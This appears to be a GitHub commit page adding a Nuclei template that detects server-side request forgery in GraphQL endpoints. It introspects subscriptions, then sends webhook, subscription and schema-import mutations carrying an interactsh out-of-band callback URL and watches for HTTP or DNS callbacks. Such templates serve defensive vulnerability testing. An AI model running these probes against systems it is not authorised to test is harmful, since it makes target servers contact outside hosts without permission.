Skip to content

Commit 73ef395

Browse files
geeknikclaude
andcommitted
Add GraphQL subscription OOB callback detection template
🤖 Generated with [Claude Code](https://claude.ai/code) Co-Authored-By: Claude <[email protected]>
1 parent 218473b commit 73ef395

File tree

1 file changed

+116
-0
lines changed

1 file changed

+116
-0
lines changed

graphql-subscription-oob.yaml

Lines changed: 116 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,116 @@
1+
id: graphql-subscription-oob
2+
3+
info:
4+
name: GraphQL Subscription OOB Callback Detection
5+
author: geeknik
6+
severity: medium
7+
description: |
8+
Detects GraphQL endpoints that support subscriptions with external callback URLs,
9+
potentially leading to SSRF via subscription webhook notifications or schema fetching.
10+
reference:
11+
- https://graphql.org/blog/subscriptions-in-graphql-and-relay/
12+
- https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/07-Input_Validation_Testing/19-Testing_for_Server-Side_Request_Forgery
13+
classification:
14+
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:N/A:N
15+
cvss-score: 5.8
16+
cwe-id: CWE-918
17+
tags: graphql,oob,ssrf,subscription,callback
18+
19+
variables:
20+
callback_url: "{{interactsh-url}}"
21+
22+
http:
23+
- method: POST
24+
path:
25+
- "{{BaseURL}}/graphql"
26+
- "{{BaseURL}}/api/graphql"
27+
- "{{BaseURL}}/v1/graphql"
28+
- "{{BaseURL}}/query"
29+
30+
headers:
31+
Content-Type: application/json
32+
Accept: application/json
33+
34+
body: |
35+
{
36+
"query": "subscription { __schema { subscriptionType { fields { name description args { name type { name } } } } } }",
37+
"variables": {}
38+
}
39+
40+
matchers-condition: and
41+
matchers:
42+
- type: word
43+
part: body
44+
words:
45+
- '"subscriptionType"'
46+
- '"fields"'
47+
condition: and
48+
49+
- type: status
50+
status:
51+
- 200
52+
53+
- method: POST
54+
path:
55+
- "{{BaseURL}}/graphql"
56+
- "{{BaseURL}}/api/graphql"
57+
- "{{BaseURL}}/v1/graphql"
58+
- "{{BaseURL}}/query"
59+
60+
headers:
61+
Content-Type: application/json
62+
Accept: application/json
63+
64+
body: |
65+
{
66+
"query": "mutation RegisterWebhook($url: String!) { registerWebhook(callbackUrl: $url) { id status } }",
67+
"variables": {
68+
"url": "{{callback_url}}"
69+
}
70+
}
71+
72+
- method: POST
73+
path:
74+
- "{{BaseURL}}/graphql"
75+
- "{{BaseURL}}/api/graphql"
76+
- "{{BaseURL}}/v1/graphql"
77+
- "{{BaseURL}}/query"
78+
79+
headers:
80+
Content-Type: application/json
81+
Accept: application/json
82+
83+
body: |
84+
{
85+
"query": "mutation CreateSubscription($callback: String!) { createSubscription(webhookUrl: $callback) { subscriptionId } }",
86+
"variables": {
87+
"callback": "{{callback_url}}"
88+
}
89+
}
90+
91+
- method: POST
92+
path:
93+
- "{{BaseURL}}/graphql"
94+
- "{{BaseURL}}/api/graphql"
95+
- "{{BaseURL}}/v1/graphql"
96+
- "{{BaseURL}}/query"
97+
98+
headers:
99+
Content-Type: application/json
100+
Accept: application/json
101+
102+
body: |
103+
{
104+
"query": "mutation ImportSchema($url: String!) { importSchema(schemaUrl: $url) { success errors } }",
105+
"variables": {
106+
"url": "{{callback_url}}/schema.graphql"
107+
}
108+
}
109+
110+
matchers:
111+
- type: word
112+
part: interactsh_protocol
113+
words:
114+
- "http"
115+
- "dns"
116+
condition: or

0 commit comments

Comments
 (0)